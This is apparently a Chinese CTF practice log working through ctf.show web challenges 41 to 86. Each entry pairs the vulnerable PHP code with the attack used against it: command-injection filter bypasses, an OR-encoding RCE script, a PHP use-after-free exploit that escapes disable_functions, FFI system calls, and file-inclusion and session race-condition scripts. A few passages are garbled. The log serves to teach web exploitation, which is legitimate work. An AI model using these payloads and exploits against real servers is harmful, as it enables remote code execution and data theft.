刷题时间记录表

ID 开始时间 结束时间 刷题范围
1 2021.08.23 19:20 2021.08.23 21.30 web41-45
2 2021.08.24 22:16 2021.08.25 0:04 web46-54
3 2021.08.25 17:06(上班划水) 2021.08.25 18:00 web55-web58
4 2021.08.25 20:26 2021.08.25 22:39 web59-web72
5 2021.08.26 22:20 2021.08.26 23:25 web72-web77 web118-119
6 2021.08.30 20:21 2021.08.30 22:52 web120-122web124
7 2021.08.31 22:35 2021.08.31 web78-web80
8 2021.09.01 21:12 2021.09.02 0:05 web81-web87
9 2021.09.02 20:42 2021.09.02 22:26 web88-90,web116-117
ID 开始时间 结束时间 刷题范围
10 2021.09.05 12:20 2021.09.05 12:40 web91-web94
11 2021.09.07 13:57 2021.09.07 18:30 web95-web100
12 2021.09.14 18:10 2021.09.14 18:30 web100
13 2021.09.15 14:00 2021.09.15 18:30 web101-web115
14 2021.09.16 10:32 2021.09.16 18:30 web123-web136
15 2021.09.22 15:43 2021.09.22 16:00 web137
16 2021.09.23 14:30 2021.09.23 16:00 web138-web140
17 2021.09.24 8:53 2021.09.24 9:00 web141
18 2021.09.29 16:55 2021.09.29 17:00 web142
ID 开始时间 结束时间 刷题范围
19 2021.09.30 19:06 2021.09.30 19:07 web143
20 2021.10.07 23:13 2021.10.08 0:27 web144-web150plus

信息搜集

命令执行

web41

  • 代码
 <?php/*
# -*- coding: utf-8 -*-
# @Author: 羽
# @Date:   2020-09-05 20:31:22
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-05 22:40:07
# @email: 1341963450@qq.com
# @link: https://ctf.show*/if(isset($_POST['c'])){$c = $_POST['c'];
if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){eval("echo($c);");}
}else{highlight_file(__FILE__);
}
?>
  • 考点

    通过或运算,来将两个字符拼接为字母,进行命令执行,比如url编码过后的(40%|01%),运算结果为A,进而进行命令执行

  • 解题脚本

    <?php
    $myfile = fopen("rce_or.txt", "w");
    $contents="";
    for ($i=0; $i < 256; $i++) { for ($j=0; $j <256 ; $j++) { if($i<16){$hex_i='0'.dechex($i);}else{$hex_i=dechex($i);}if($j<16){$hex_j='0'.dechex($j);}else{$hex_j=dechex($j);}$preg = '/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i';if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){echo "";}else{$a='%'.$hex_i;$b='%'.$hex_j;$c=(urldecode($a)|urldecode($b));if (ord($c)>=32&ord($c)<=126) {$contents=$contents.$c." ".$a." ".$b."\n";}}}
    }
    fwrite($myfile,$contents);
    fclose($myfile);
    # -*- coding: utf-8 -*-
    import requests
    import urllib
    from sys import *
    import os
    os.system("php rce_or.php")  #没有将php写入环境变量需手动运行
    if(len(argv)!=2):print("="*50)print('USER:python exp.py <url>')print("eg:  python exp.py http://ctf.show/")print("="*50)exit(0)
    url=argv[1]
    def action(arg):s1=""s2=""for i in arg:f=open("rce_or.txt","r")while True:t=f.readline()if t=="":breakif t[0]==i:#print(i)s1+=t[2:5]s2+=t[6:9]breakf.close()output="(\""+s1+"\"|\""+s2+"\")"return(output)while True:param=action(input("\n[+] your function:") )+action(input("[+] your command:"))data={'c':urllib.parse.unquote(param)}r=requests.post(url,data=data)print("\n[*] result:\n"+r.text)

web42

  • 代码

    <?php/*
    # -*- coding: utf-8 -*-
    # @Author: h1xa
    # @Date:   2020-09-05 20:49:30
    # @Last Modified by:   h1xa
    # @Last Modified time: 2020-09-05 20:51:55
    # @email: h1xa@ctfer.com
    # @link: https://ctfer.com*/if(isset($_GET['c'])){$c=$_GET['c'];system($c." >/dev/null 2>&1");
    }else{highlight_file(__FILE__);
  • 考点

    • 群主说的是,>/dev/null是个黑洞,前面执行的命令的结果会写入黑洞里,就没办法回显,2>&1是绑定输出,一共有三种文件描述符,标准输入3、标准输出1、错误输出2,这里就是将错误输出绑定到标准输出 ,也就是这个环境无论执行什么命令都不会输出,但是这个可以用;绕过,这样就执行的命令就不属于这个命令了,可以输出

    • 此外还学到了一点,比如正常的payload可以是?c=cat flag;这个时候需要查看源代码才能看到,但是用tac就可以直接看到,因为tac是反着读,会破坏php的注释,学到了嘿嘿

web 43

  • 代码

     <?php/*
    # -*- coding: utf-8 -*-
    # @Author: h1xa
    # @Date:   2020-09-05 20:49:30
    # @Last Modified by:   h1xa
    # @Last Modified time: 2020-09-05 21:32:51
    # @email: h1xa@ctfer.com
    # @link: https://ctfer.com*/if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/\;|cat/i", $c)){system($c." >/dev/null 2>&1");}
    }else{highlight_file(__FILE__);
    }
    
  • 同上题一样,这次过滤了;群主说是用&&绕过?c=tac flag.php%26%26ls,但是突然想到,其实那个限制只是回显,可以把文件复制一下,然后直接访问复制的文件就可以拿到flag,比如?c= mv flag.php 1.txt然后直接访问1.txt就能直接拿到flag

web44

  • 代码

     <?php/*
    # -*- coding: utf-8 -*-
    # @Author: h1xa
    # @Date:   2020-09-05 20:49:30
    # @Last Modified by:   h1xa
    # @Last Modified time: 2020-09-05 21:32:01
    # @email: h1xa@ctfer.com
    # @link: https://ctfer.com*/if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/;|cat|flag/i", $c)){system($c." >/dev/null 2>&1");}
    }else{highlight_file(__FILE__);
    }
    
  • 过滤了flag,这个直接通配符*或者占位符?就可以绕过?c=tac f*.php%26%26ls

web45

  • 代码

     <?php/*
    # -*- coding: utf-8 -*-
    # @Author: h1xa
    # @Date:   2020-09-05 20:49:30
    # @Last Modified by:   h1xa
    # @Last Modified time: 2020-09-05 21:35:34
    # @email: h1xa@ctfer.com
    # @link: https://ctfer.com*/if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/\;|cat|flag| /i", $c)){system($c." >/dev/null 2>&1");}
    }else{highlight_file(__FILE__);
    }
    
  • 过滤了空格,用制表符绕过``

web46

  • 代码

     <?php/*
    # -*- coding: utf-8 -*-
    # @Author: h1xa
    # @Date:   2020-09-05 20:49:30
    # @Last Modified by:   h1xa
    # @Last Modified time: 2020-09-05 21:50:19
    # @email: h1xa@ctfer.com
    # @link: https://ctfer.com*/if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){system($c." >/dev/null 2>&1");}
    }else{highlight_file(__FILE__);
    }
    
  • 这次又多过滤了数字,以及通配符*,但是那个编码过后的制表符%09解码后不是数字,所以没有影响,过滤了*可以用?代替,?只能占一位,*是任意位?c=tac%09fla?.php%26%26lls

  • 此处题目的hint交了新的方法,用nl命令将指定的文件添加行号标注后写到标准输出,也就是还可以这样绕过?c=nl<fla’'g.php||

web47

  • 代码

    <?php/*
    # -*- coding: utf-8 -*-
    # @Author: h1xa
    # @Date:   2020-09-05 20:49:30
    # @Last Modified by:   h1xa
    # @Last Modified time: 2020-09-05 21:59:23
    # @email: h1xa@ctfer.com
    # @link: https://ctfer.com*/if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i", $c)){system($c." >/dev/null 2>&1");}
    }else{highlight_file(__FILE__);
    }
    
  • 过滤了更多的读取命令,没有过滤tac,不影响

web48

  • 代码

    <?php/*
    # -*- coding: utf-8 -*-
    # @Author: h1xa
    # @Date:   2020-09-05 20:49:30
    # @Last Modified by:   h1xa
    # @Last Modified time: 2020-09-05 22:06:20
    # @email: h1xa@ctfer.com
    # @link: https://ctfer.com*/if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`/i", $c)){system($c." >/dev/null 2>&1");}
    }else{highlight_file(__FILE__);
    }
    
  • 过滤了更多的命令不影响

web49

  • 代码

     <?php/*
    # -*- coding: utf-8 -*-
    # @Author: h1xa
    # @Date:   2020-09-05 20:49:30
    # @Last Modified by:   h1xa
    # @Last Modified time: 2020-09-05 22:22:43
    # @email: h1xa@ctfer.com
    # @link: https://ctfer.com*/if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i", $c)){system($c." >/dev/null 2>&1");}
    }else{highlight_file(__FILE__);
    }
    
  • 过滤更多不影响

web50

  • 代码

     <?php/*
    # -*- coding: utf-8 -*-
    # @Author: h1xa
    # @Date:   2020-09-05 20:49:30
    # @Last Modified by:   h1xa
    # @Last Modified time: 2020-09-05 22:32:47
    # @email: h1xa@ctfer.com
    # @link: https://ctfer.com*/if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){system($c." >/dev/null 2>&1");}
    }else{highlight_file(__FILE__);
    }
    
  • 过滤了%09与%26,之前的nl命令还可以搞

web51

  • 代码

     <?php/*
    # -*- coding: utf-8 -*-
    # @Author: h1xa
    # @Date:   2020-09-05 20:49:30
    # @Last Modified by:   h1xa
    # @Last Modified time: 2020-09-05 22:42:52
    # @email: h1xa@ctfer.com
    # @link: https://ctfer.com*/if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){system($c." >/dev/null 2>&1");}
    }else{highlight_file(__FILE__);
    }
    
  • 继续用之前payload

web52

  • 代码

    <?php/*
    # -*- coding: utf-8 -*-
    # @Author: h1xa
    # @Date:   2020-09-05 20:49:30
    # @Last Modified by:   h1xa
    # @Last Modified time: 2020-09-05 22:50:30
    # @email: h1xa@ctfer.com
    # @link: https://ctfer.com*/if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){system($c." >/dev/null 2>&1");}
    }else{highlight_file(__FILE__);
    }
    
  • 这里没有被过滤,然后之前的payload发现假的flag,然后用没有被过滤,然后之前的payload发现假的flag,然后用没有被过滤,然后之前的payload发现假的flag,然后用{IFS}作为分隔符,读取根目录的flagnl$IFS/fla''g||

web53

  • 代码

    <?php/*
    # -*- coding: utf-8 -*-
    # @Author: h1xa
    # @Date:   2020-09-05 20:49:30
    # @Last Modified by:   h1xa
    # @Last Modified time: 2020-09-07 18:21:02
    # @email: h1xa@ctfer.com
    # @link: https://ctfer.com*/if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){echo($c);$d = system($c);echo "<br>".$d;}else{echo 'no';}
    }else{highlight_file(__FILE__);
    }
    
  • 有了回显,但是执行方式和之前不一样了,payload:?c=ta''c${IFS}fla?.php

web54

  • 代码

     <?php/*
    # -*- coding: utf-8 -*-
    # @Author: Lazzaro
    # @Date:   2020-09-05 20:49:30
    # @Last Modified by:   h1xa
    # @Last Modified time: 2020-09-07 19:43:42
    # @email: h1xa@ctfer.com
    # @link: https://ctfer.com*/if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){system($c);}
    }else{highlight_file(__FILE__);
    }
    
  • 代码过滤了很多,hint非常狠,全用通配符搞?c=/bin/?at${IFS}f???????,除了这个直接复制就行

web55

  • 代码

    <?php/*
    # -*- coding: utf-8 -*-
    # @Author: Lazzaro
    # @Date:   2020-09-05 20:49:30
    # @Last Modified by:   h1xa
    # @Last Modified time: 2020-09-07 20:03:51
    # @email: h1xa@ctfer.com
    # @link: https://ctfer.com*/// 你们在炫技吗?
    if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){system($c);}
    }else{highlight_file(__FILE__);
    }
    
  • 这次更狠一些?c=/???/????64 ????.???,就是利用通配符,匹配到这样的命令/bin/base64 flag.php

web56

  • 代码

    <?php/*
    # -*- coding: utf-8 -*-
    # @Author: Lazzaro
    # @Date:   2020-09-05 20:49:30
    # @Last Modified by:   h1xa
    # @Last Modified time: 2020-09-07 22:02:47
    # @email: h1xa@ctfer.com
    # @link: https://ctfer.com*/// 你们在炫技吗?
    if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/\;|[a-z]|[0-9]|\\$|\(|\{|\'|\"|\`|\%|\x09|\x26|\>|\</i", $c)){system($c);}
    }else{highlight_file(__FILE__);
    }
    
  • 题目更狠了一点

  • 这次在上一题的基础上多过滤掉了数字,导致我们无法使用上题的payload。这里我们可以利用php的特性:如果我们发送一个上传文件的post包,php会将我们上传的文件保存在临时的文件夹下,并且默认的文件目录是/tmp/phpxxxxxx。文件名最后的6个字符是随机的大小写字母,而且最后一个字符大概率是大写字母。容易想到的匹配方式就是利用进行匹配,即???/?????????,然而这不一定会匹配到我们上传的文件,这时候有什么办法呢?
    在ascii码表中观察发现在大写字母A的前一个符号为@,大写字母Z的后一个字母为[,因此我们可以使用[@-[]来表示匹配大写字母,也就是变成了这样的形式:???/????????[@-[],到这一步已经能匹配到了我们上传的文件,那限制了字母后该如何执行上传的文件呢?这里有个技巧,就是使用. file来执行文件

  • 解题脚本

    import requests
    while True:url = "http://80ce7c79-ce3b-409b-89bd-6be7043fb4a6.challenge.ctf.show:8080/?c=. /???/????????[@-[]"r = requests.post(url, files={"file": ("dota.txt", "cat flag.php")})flag = r.text.split('ctfshow')if len(flag) >1:print(r.text)break

web57

  • 代码

    <?php/*
    # -*- coding: utf-8 -*-
    # @Author: h1xa
    # @Date:   2020-09-05 20:49:30
    # @Last Modified by:   h1xa
    # @Last Modified time: 2020-09-08 01:02:56
    # @email: h1xa@ctfer.com
    # @link: https://ctfer.com
    */// 还能炫的动吗?
    //flag in 36.php
    if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i", $c)){system("cat ".$c.".php");}
    }else{highlight_file(__FILE__);
    }
    
  • 这题不仅过滤了字母数字,还把通配符都给过滤了。查了一下资料,发现在shell中可以利用$()进行构造数字,而这道题提示flag在36.php中,system中已经写好cat和php,所以我们只需要构造出36即可

  • $(()) 代表做一次运算,因为里面为空,也表示值为0
    $((~$(()))) 对0作取反运算,值为-1
    $(($((~$(())))$((~$(()))))) -1-1,也就是(-1)+(-1)为-2,所以值为-2
    $((~$(($((~$(())))$((~$(()))))))) 再对-2做一次取反得到1,所以值为1

    如果对a按位取反,则得到的结果为-(a+1),也就是对0取反得到-1

  • 所以我们只要构造出-37,再进行取反,即可得到我们想要的数字36

    data = "$((~$(("+"$((~$(())))"*37+"))))"
    print(data)
    

web58

  • 代码

    <?php/*
    # -*- coding: utf-8 -*-
    # @Author: Lazzaro
    # @Date:   2020-09-05 20:49:30
    # @Last Modified by:   h1xa
    # @Last Modified time: 2020-09-07 22:02:47
    # @email: h1xa@ctfer.com
    # @link: https://ctfer.com*/// 你们在炫技吗?
    if(isset($_POST['c'])){$c= $_POST['c'];eval($c);
    }else{highlight_file(__FILE__);
    }
    
  • 第一反应,蚁剑

  • 看了hint,是考读取文件的,c=show_source("flag.php");

  • //一些命令
    highlight_file($filename);
    show_source($filename);
    print_r(php_strip_whitespace($filename));
    print_r(file_get_contents($filename));
    readfile($filename);
    print_r(file($filename)); // var_dump
    fread(fopen($filename,"r"), $size);
    include($filename); // 非php代码
    include_once($filename); // 非php代码
    require($filename); // 非php代码
    require_once($filename); // 非php代码
    print_r(fread(popen("cat flag", "r"), $size));
    print_r(fgets(fopen($filename, "r"))); // 读取一行
    fpassthru(fopen($filename, "r")); // 从当前位置一直读取到 EOF
    print_r(fgetcsv(fopen($filename,"r"), $size));
    print_r(fgetss(fopen($filename, "r"))); // 从文件指针中读取一行并过滤掉 HTML 标记
    print_r(fscanf(fopen("flag", "r"),"%s"));
    print_r(parse_ini_file($filename)); // 失败时返回 false , 成功返回配置数组
    

web59-65

  • 代码

    if(isset($_POST['c'])){$c= $_POST['c'];eval($c);
    }else{highlight_file(__FILE__);
    }
    
  • 代码都是一样的,其中应该是逐渐过滤掉了上面所列的一些函数,用show_source都可以看c=show_source("flag.php");

  • 群主用过的方法

    • c=include('flag.php');echo $flag
    • c=include('flag.php');var_dump(get_defined_vars());

web66

  • 代码

    <?php/*
    # -*- coding: utf-8 -*-
    # @Author: Lazzaro
    # @Date:   2020-09-05 20:49:30
    # @Last Modified by:   h1xa
    # @Last Modified time: 2020-09-07 22:02:47
    # @email: h1xa@ctfer.com
    # @link: https://ctfer.com*/// 你们在炫技吗?
    if(isset($_POST['c'])){$c= $_POST['c'];eval($c);
    }else{highlight_file(__FILE__);
    }
    
  • 看起来还是没变,这次把show_source禁了,用highlight_file,发现假的flag,群主用的命令c=var_dump(scandir(''));找到了根目录有个flag.txt,然后直接c=highlight_file("/flag.txt");

web67

  • 代码一样
  • 上题payload可用,这次是print_r被禁了,var_dump可以用

web68-70

  • 代码一样
  • highlight_file被禁了,index.php都进不去了哈哈哈
  • 用include,c=include('/flag.php');

web71

  • 代码

    <?php/*
    # -*- coding: utf-8 -*-
    # @Author: Lazzaro
    # @Date:   2020-09-05 20:49:30
    # @Last Modified by:   h1xa
    # @Last Modified time: 2020-09-07 22:02:47
    # @email: h1xa@ctfer.com
    # @link: https://ctfer.com*/error_reporting(0);
    ini_set('display_errors', 0);
    // 你们在炫技吗?
    if(isset($_POST['c'])){$c= $_POST['c'];eval($c);$s = ob_get_contents();ob_end_clean();echo preg_replace("/[0-9]|[a-z]/i","?",$s);
    }else{highlight_file(__FILE__);
    }?>你要上天吗?
    
  • 这个是把输出缓冲区给替换掉了,群主的方法直接执行exit(),c=include('/flag.txt');exit();

web72

  • 代码同上

  • 把scandir以某种方式限制了

  • 用glob协议查找根目录中的文件

  • c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");};exit();
    
  • 抄一些方法

  • print_r(glob("*")); // 列当前目录
    print_r(glob("/*")); // 列根目录
    print_r(scandir("."));
    print_r(scandir("/"));
    $d=opendir(".");while(false!==($f=readdir($d))){echo"$f\n";}
    $d=dir(".");while(false!==($f=$d->read())){echo$f."\n";}
    $a=glob("/*");foreach($a as $value){echo $value."   ";}
    $a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");}
    
  • 群主给的exp

  • c=function ctfshow($cmd) {global $abc, $helper, $backtrace;class Vuln {public $a;public function __destruct() { global $backtrace; unset($this->a);$backtrace = (new Exception)->getTrace();if(!isset($backtrace[1]['args'])) {$backtrace = debug_backtrace();}}}class Helper {public $a, $b, $c, $d;}function str2ptr(&$str, $p = 0, $s = 8) {$address = 0;for($j = $s-1; $j >= 0; $j--) {$address <<= 8;$address |= ord($str[$p+$j]);}return $address;}function ptr2str($ptr, $m = 8) {$out = "";for ($i=0; $i < $m; $i++) {$out .= sprintf("%c",($ptr & 0xff));$ptr >>= 8;}return $out;}function write(&$str, $p, $v, $n = 8) {$i = 0;for($i = 0; $i < $n; $i++) {$str[$p + $i] = sprintf("%c",($v & 0xff));$v >>= 8;}}function leak($addr, $p = 0, $s = 8) {global $abc, $helper;write($abc, 0x68, $addr + $p - 0x10);$leak = strlen($helper->a);if($s != 8) { $leak %= 2 << ($s * 8) - 1; }return $leak;}function parse_elf($base) {$e_type = leak($base, 0x10, 2);$e_phoff = leak($base, 0x20);$e_phentsize = leak($base, 0x36, 2);$e_phnum = leak($base, 0x38, 2);for($i = 0; $i < $e_phnum; $i++) {$header = $base + $e_phoff + $i * $e_phentsize;$p_type  = leak($header, 0, 4);$p_flags = leak($header, 4, 4);$p_vaddr = leak($header, 0x10);$p_memsz = leak($header, 0x28);if($p_type == 1 && $p_flags == 6) { $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;$data_size = $p_memsz;} else if($p_type == 1 && $p_flags == 5) { $text_size = $p_memsz;}}if(!$data_addr || !$text_size || !$data_size)return false;return [$data_addr, $text_size, $data_size];}function get_basic_funcs($base, $elf) {list($data_addr, $text_size, $data_size) = $elf;for($i = 0; $i < $data_size / 8; $i++) {$leak = leak($data_addr, $i * 8);if($leak - $base > 0 && $leak - $base < $data_addr - $base) {$deref = leak($leak);if($deref != 0x746e6174736e6f63)continue;} else continue;$leak = leak($data_addr, ($i + 4) * 8);if($leak - $base > 0 && $leak - $base < $data_addr - $base) {$deref = leak($leak);if($deref != 0x786568326e6962)continue;} else continue;return $data_addr + $i * 8;}}function get_binary_base($binary_leak) {$base = 0;$start = $binary_leak & 0xfffffffffffff000;for($i = 0; $i < 0x1000; $i++) {$addr = $start - 0x1000 * $i;$leak = leak($addr, 0, 7);if($leak == 0x10102464c457f) {return $addr;}}}function get_system($basic_funcs) {$addr = $basic_funcs;do {$f_entry = leak($addr);$f_name = leak($f_entry, 0, 6);if($f_name == 0x6d6574737973) {return leak($addr + 8);}$addr += 0x20;} while($f_entry != 0);return false;}function trigger_uaf($arg) {$arg = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');$vuln = new Vuln();$vuln->a = $arg;}if(stristr(PHP_OS, 'WIN')) {die('This PoC is for *nix systems only.');}$n_alloc = 10; $contiguous = [];for($i = 0; $i < $n_alloc; $i++)$contiguous[] = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');trigger_uaf('x');$abc = $backtrace[1]['args'][0];$helper = new Helper;$helper->b = function ($x) { };if(strlen($abc) == 79 || strlen($abc) == 0) {die("UAF failed");}$closure_handlers = str2ptr($abc, 0);$php_heap = str2ptr($abc, 0x58);$abc_addr = $php_heap - 0xc8;write($abc, 0x60, 2);write($abc, 0x70, 6);write($abc, 0x10, $abc_addr + 0x60);write($abc, 0x18, 0xa);$closure_obj = str2ptr($abc, 0x20);$binary_leak = leak($closure_handlers, 8);if(!($base = get_binary_base($binary_leak))) {die("Couldn't determine binary base address");}if(!($elf = parse_elf($base))) {die("Couldn't parse ELF header");}if(!($basic_funcs = get_basic_funcs($base, $elf))) {die("Couldn't get basic_functions address");}if(!($zif_system = get_system($basic_funcs))) {die("Couldn't get zif_system address");}$fake_obj_offset = 0xd0;for($i = 0; $i < 0x110; $i += 8) {write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));}write($abc, 0x20, $abc_addr + $fake_obj_offset);write($abc, 0xd0 + 0x38, 1, 4); write($abc, 0xd0 + 0x68, $zif_system); ($helper->b)($cmd);exit();
    }ctfshow("cat /flag0.txt");ob_end_flush();
    

web 73-74

  • 代码一样
  • 像上题一样直接用glob协议看下根目录的内容,发现flag的位置,c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");};exit();发现在flagc.txt,和flagx.txt直接include包含c=include("/flagc.txt");exit(0);

web 75-76

  • 代码一样
  • glob扫目录,发现flag36.txt,用include发现了open_basedir,这里群主使用mysql读取了falgc=try {$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root', 'root');foreach($dbh->query('select load_file("/flag36.txt")') as $row) {echo($row[0])."|"; }$dbh = null;}catch (PDOException $e) {echo $e- >getMessage();**exit**(0);}**exit**(0);

web77

  • 代码一样
  • glob扫目录,发现flag36x.txt,以及有一个readflag
  • 这里利用了php7.4的新特性,payload如下
  • $ffi = FFI::cdef(“int system(const char *command);”);//创建一个system对象 $a=’/readflag > 1.txt’;//没有回显的 ffi−>system(ffi->system(ffi−>system(a);//通过$ffi去调用system函数
  • c=?><?php ?>
  • 然后payload就是?file=/var/log/nginx/access.log同时post1=system('tac fl0g.php'),先ls看下目录,然后再知道是fl0g.php的

文件包含

web78

PHP
if(isset($_GET['file'])){$file = $_GET['file'];include($file);
}else{highlight_file(__FILE__);
}

开始文件包含的题型了,这里使用php伪协议php://filter来构造paylaod

首先这是一个file关键字的get参数传递,php://是一种协议名称,php://filter/是一种访问本地文件的协议,/read=convert.base64-encode/表示读取的方式是base64编码后,resource=index.php表示目标文件为index.php。

通过传递这个参数可以得到index.php的源码,下面说说为什么,看到源码中的include函数,这个表示从外部引入php文件并执行,如果执行不成功,就返回文件的源码。

而include的内容是由用户控制的,所以通过我们传递的file参数,是include()函数引入了index.php的base64编码格式,因为是base64编码格式,所以执行不成功,返回源码,所以我们得到了源码的base64格式,解码即可。

payload如下

CODE
?file=php://filter/convert.base64-encode/resource=flag.php

读取出来是base64,再拿去进行base64解码即可得到flag

web79

PHP
if(isset($_GET['file'])){$file = $_GET['file'];$file = str_replace("php", "???", $file);include($file);
}

代码中把php替换成了???,php伪协议大小写可以绕过,所以我们这里使用php://input伪协议,paylaod如下

CODE
?file=Php://inputpost:<?php system("tac flag.php");?>
PHP
if(isset($_GET['file'])){$file = $_GET['file'];$file = str_replace("php", "???", $file);$file = str_replace("data", "???", $file);include($file);
}

这次多过滤了一个data,可以继续使用上题php:input协议,不过注意这次文件名字改了
所以payload为

CODE
?file=Php://inputpost:<?php system("tac fl0g.php");?>

web81

  • if(isset($_GET['file'])){$file = $_GET['file'];$file = str_replace("php", "???", $file);$file = str_replace("data", "???", $file);$file = str_replace(":", "???", $file);include($file);
    }else{highlight_file(__FILE__);
    }
    
  • 这次把:过滤了,不过不影响我们继续用上一题的日志包含

  • 这次学到了<?=eval($_POST[a]);?> <?=>相当于<?php echo ?>

web82

  • <?php
    if(isset($_GET['file'])){$file = $_GET['file'];$file = str_replace("php", "???", $file);$file = str_replace("data", "???", $file);$file = str_replace(":", "???", $file);$file = str_replace(".", "???", $file);include($file);
    }else{highlight_file(__FILE__);
    }
    
  • 把.过滤了,那么日志包含的access.log用不了了

  • 用只能用session包含

  • 下面是php5.4之后php.ini开始有的几个默认选项

  • 1.session.upload_progress.enabled = on
    2.session.upload_progress.cleanup = on
    3.session.upload_progress.prefix = “upload_progress_”
    4.session.upload_progress.name = “PHP_SESSION_UPLOAD_PROGRESS”
    5.session.use_strict_mode=off

    第一个表示当浏览器向服务器上传一个文件时,php将会把此次文件上传的详细信息(如上传时间、上传进度等)存储在session当中
    第二个表示当文件上传结束后,php将会立即清空对应session文件中的内容
    第三和第四个prefix+name将表示为session中的键名
    第五个表示我们对Cookie中sessionID可控

  • 写个脚本

    import io
    import requests
    import threading
    url = 'http://66a0ff8a-5ebd-4a08-835f-6df122b9f4eb.challenge.ctf.show:8080/'def write(session):data = {'PHP_SESSION_UPLOAD_PROGRESS': '<?php system("tac f*");?>hehei'}while True:f = io.BytesIO(b'a' * 1024 * 10)response = session.post(url,cookies={'PHPSESSID': 'flag'}, data=data, files={'file': ('exp.txt', f)})
    def read(session):while True:response = session.get(url+'?file=/tmp/sess_flag')if 'hehei' in response.text:print(response.text)breakelse:print('retry')if __name__ == '__main__':session = requests.session()write = threading.Thread(target=write, args=(session,))write.daemon = Truewrite.start()read(session)

web83

  • session_unset();
    session_destroy();if(isset($_GET['file'])){$file = $_GET['file'];$file = str_replace("php", "???", $file);$file = str_replace("data", "???", $file);$file = str_replace(":", "???", $file);$file = str_replace(".", "???", $file);include($file);
    }else{highlight_file(__FILE__);
    }
    
  • 这里先把session销毁了,但是还可以写,因为销毁和写存在时间的上的间隔,可能一个线程刚删完以为删掉了,但是另外一个线程在这个空隙又写了一个,所以上题的payload还是可以用

web84

  • if(isset($_GET['file'])){$file = $_GET['file'];$file = str_replace("php", "???", $file);$file = str_replace("data", "???", $file);$file = str_replace(":", "???", $file);$file = str_replace(".", "???", $file);system("rm -rf /tmp/*");include($file);
    }else{highlight_file(__FILE__);
    }
    
  • 这次把tmp删了,还是和上一题一样,多线程竞争

web85

  • if(isset($_GET['file'])){$file = $_GET['file'];$file = str_replace("php", "???", $file);$file = str_replace("data", "???", $file);$file = str_replace(":", "???", $file);$file = str_replace(".", "???", $file);if(file_exists($file)){$content = file_get_contents($file);if(strpos($content, "<")>0){die("error");}include($file);}}else{highlight_file(__FILE__);
  • 这次如果file里面含有<,就会die,这个需要线程多一点,这样好竞争,同样payload

web86

  • define('还要秀?', dirname(__FILE__));
    set_include_path(还要秀?);
    if(isset($_GET['file'])){$file = $_GET['file'];$file = str_replace("php", "???", $file);$file = str_replace("data", "???", $file);$file = str_replace(":", "???", $file);$file = str_replace(".", "???", $file);include($file);}else{highlight_file(__FILE__);
    }
    
  • 这次是先定义了一个include路径,但是我们include的东西不被这个影响,继续用上面payload

web87